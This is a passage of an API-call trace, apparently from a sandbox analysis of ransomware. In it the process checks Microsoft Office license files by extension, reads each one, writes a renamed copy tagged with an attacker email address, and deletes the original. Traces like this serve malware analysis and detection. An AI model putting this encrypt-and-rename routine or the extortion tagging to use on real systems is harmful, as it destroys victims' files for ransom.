	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString=".zip") returned 4
	[0201.344] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".rar") returned 4
	[0201.344] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".bz2") returned 4
	[0201.344] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".7z") returned 3
	[0201.344] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.345] lstrlenW (lpString=".dbf") returned 4
	[0201.345] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.345] lstrlenW (lpString=".1cd") returned 4
	[0201.345] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.345] lstrlenW (lpString=".jpg") returned 4
	[0201.345] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.345] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.345] lstrlenW (lpString="O365HomePremR_SubTrial1-pl.xrm-ms") returned 33
	[0201.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.346] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11183) returned 1
	[0201.346] CloseHandle (hObject=0x510) returned 1
	[0201.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220
	[0201.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.347] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.347] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.348] GetLastError () returned 0x0
	[0201.348] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0201.350] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.351] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.351] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.351] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.352] CloseHandle (hObject=0x5e8) returned 1
	[0201.352] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.352] SetEndOfFile (hFile=0x510) returned 1
	[0201.355] CloseHandle (hObject=0x510) returned 1
	[0201.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1
	[0201.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.356] lstrlenW (lpString=".doc") returned 4
	[0201.356] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.356] lstrlenW (lpString=".docx") returned 5
	[0201.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.356] lstrlenW (lpString=".pdf") returned 4
	[0201.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.356] lstrlenW (lpString=".xls") returned 4
	[0201.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.356] lstrlenW (lpString=".xlsx") returned 5
	[0201.356] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.356] lstrlenW (lpString=".ppt") returned 4
	[0201.356] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.356] lstrlenW (lpString=".zip") returned 4
	[0201.357] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".rar") returned 4
	[0201.357] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".bz2") returned 4
	[0201.357] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".7z") returned 3
	[0201.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.357] lstrlenW (lpString=".dbf") returned 4
	[0201.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.357] lstrlenW (lpString=".1cd") returned 4
	[0201.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.357] lstrlenW (lpString=".jpg") returned 4
	[0201.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.357] lstrlenW (lpString=".doc") returned 4
	[0201.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".docx") returned 5
	[0201.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.357] lstrlenW (lpString=".pdf") returned 4
	[0201.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".xls") returned 4
	[0201.357] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString=".xlsx") returned 5
	[0201.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.357] lstrlenW (lpString=".ppt") returned 4
	[0201.357] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.358] lstrlenW (lpString=".zip") returned 4
	[0201.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.358] lstrlenW (lpString=".rar") returned 4
	[0201.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.358] lstrlenW (lpString=".bz2") returned 4
	[0201.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.358] lstrlenW (lpString=".7z") returned 3
	[0201.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.358] lstrlenW (lpString=".dbf") returned 4
	[0201.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.358] lstrlenW (lpString=".1cd") returned 4
	[0201.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0201.358] lstrlenW (lpString=".jpg") returned 4
	[0201.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.358] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.358] lstrlenW (lpString="O365HomePremR_SubTrial1-ppd.xrm-ms") returned 34
	[0201.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.359] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=23135) returned 1
	[0201.359] CloseHandle (hObject=0x510) returned 1
	[0201.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0201.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.360] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.360] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.360] GetLastError () returned 0x0
	[0201.360] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0201.472] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.517] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.517] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x118, lpOverlapped=0x0) returned 1
	[0201.518] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.518] CloseHandle (hObject=0x5e8) returned 1
	[0201.518] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.518] SetEndOfFile (hFile=0x510) returned 1
	[0201.521] CloseHandle (hObject=0x510) returned 1
	[0201.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1
	[0201.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.522] lstrlenW (lpString=".doc") returned 4
	[0201.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.522] lstrlenW (lpString=".docx") returned 5
	[0201.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.522] lstrlenW (lpString=".pdf") returned 4
	[0201.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.522] lstrlenW (lpString=".xls") returned 4
	[0201.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.522] lstrlenW (lpString=".xlsx") returned 5
	[0201.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.523] lstrlenW (lpString=".ppt") returned 4
	[0201.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString=".zip") returned 4
	[0201.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".rar") returned 4
	[0201.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".bz2") returned 4
	[0201.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".7z") returned 3
	[0201.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString=".dbf") returned 4
	[0201.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString=".1cd") returned 4
	[0201.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString=".jpg") returned 4
	[0201.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.523] lstrlenW (lpString=".doc") returned 4
	[0201.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".docx") returned 5
	[0201.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.523] lstrlenW (lpString=".pdf") returned 4
	[0201.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".xls") returned 4
	[0201.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.523] lstrlenW (lpString=".xlsx") returned 5
	[0201.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.524] lstrlenW (lpString=".ppt") returned 4
	[0201.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.524] lstrlenW (lpString=".zip") returned 4
	[0201.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString=".rar") returned 4
	[0201.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString=".bz2") returned 4
	[0201.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString=".7z") returned 3
	[0201.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.524] lstrlenW (lpString=".dbf") returned 4
	[0201.524] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.524] lstrlenW (lpString=".1cd") returned 4
	[0201.524] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0201.524] lstrlenW (lpString=".jpg") returned 4
	[0201.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.525] lstrlenW (lpString="O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 37
	[0201.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.525] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11635) returned 1
	[0201.526] CloseHandle (hObject=0x510) returned 1
	[0201.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0201.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.526] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.526] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.527] GetLastError () returned 0x0
	[0201.527] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0201.560] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0201.562] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.562] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0201.562] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.562] CloseHandle (hObject=0x5e8) returned 1
	[0201.562] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.562] SetEndOfFile (hFile=0x510) returned 1
	[0201.567] CloseHandle (hObject=0x510) returned 1
	[0201.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0201.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.569] lstrlenW (lpString=".doc") returned 4
	[0201.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString=".docx") returned 5
	[0201.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.569] lstrlenW (lpString=".pdf") returned 4
	[0201.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString=".xls") returned 4
	[0201.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString=".xlsx") returned 5
	[0201.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.569] lstrlenW (lpString=".ppt") returned 4
	[0201.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.569] lstrlenW (lpString=".zip") returned 4
	[0201.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString=".rar") returned 4
	[0201.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.569] lstrlenW (lpString=".bz2") returned 4
	[0201.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString=".7z") returned 3
	[0201.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.570] lstrlenW (lpString=".dbf") returned 4
	[0201.570] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.570] lstrlenW (lpString=".1cd") returned 4
	[0201.570] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
